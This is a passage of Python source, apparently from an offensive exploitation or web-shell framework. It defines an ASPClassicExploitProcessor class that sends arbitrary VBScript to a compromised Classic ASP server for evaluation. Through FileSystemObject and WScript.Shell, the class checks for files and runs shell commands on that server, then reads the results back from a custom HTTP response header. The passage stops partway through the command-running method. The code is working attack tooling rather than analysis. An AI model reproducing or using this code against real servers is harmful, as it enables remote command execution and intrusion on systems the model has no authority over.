| 11 | Inherits from the ExploitProcessor class. |
| 12 | """ |
| 13 | class ASPClassicExploitProcessor(ExploitProcessor): |
| 14 | def __init__(self, host: str, path: str, method: str, header: str): |
| 15 | super().__init__(host, path, method, header) |
| 16 | |
| 17 | """ |
| 18 | @brief See base class for details. |
| 19 | """ |
| 20 | def get_name(): |
| 21 | return "ClassicASP" |
| 22 | |
| 23 | """ |
| 24 | @brief Run commands to be interpreted as Python. |
| 25 | @param command the command to be ran as a string |
| 26 | @return any output received from the HTTP header. |
| 27 | @throw CommandException if there is a connection error. |
| 28 | """ |
| 29 | def __eval(self, command: str): |
| 30 | res = self._Base__send_message( |
| 31 | f"{command}" |
| 32 | ) |
| 33 | return res |
| 34 | |
| 35 | """ |
| 36 | @brief Check if a file exists on the server. |
| 37 | @param name the filename to be checked. |
| 38 | @return a bool indicating whether or not the file exists. |
| 39 | @throw CommandException if there is a connection error. |
| 40 | """ |
| 41 | def __file_exists(self, file: str): |
| 42 | filePath = self.directory + "\\" + file.replace("/", "\\") |
| 43 | res = self.__eval( |
| 44 | "Set fileSys = " |
| 45 | "Server.CreateObject(\"Scripting.FileSystemObject\"):" |
| 46 | f"If fileSys.FileExists(\"{filePath}\") Then:" |
| 47 | f"Response.AddHeader \"{self.header}\", \"1\":" |
| 48 | "Else:" |
| 49 | f"Response.AddHeader \"{self.header}\", \"0\":" |
| 50 | "End If:" |
| 51 | ) |
| 52 | return res == '1' |
| 53 | |
| 54 | """ |
| 55 | @brief Run a command in a new XP shell opened server side, automatically |
| 56 | changes directory to current working directory. |
| 57 | @param command the command to be ran. |
| 58 | @return stdout of the command. |
| 59 | """ |
| 60 | def __run(self, options: str): |
| 61 | options = (options # escape |
| 62 | .replace("\"", "\"\"") # double quotes |
| 63 | .replace("\n", "\" & vbCrLf & \"") # new lines |
| 64 | ) |
| 65 | res = self.__eval( # The options is not base64 encoded, so some things |
| 66 | # like carriage return won't be escaped, and this |
| 67 | # could cause transmission errors. |
| 68 | "Set objShell = Server.CreateObject(\"WScript.Shell\"):" |
| 69 | "Set fileSys = " |
| 70 | "Server.CreateObject(\"Scripting.FileSystemObject\"):" |
nothing calls this directly
no outgoing calls
no test coverage detected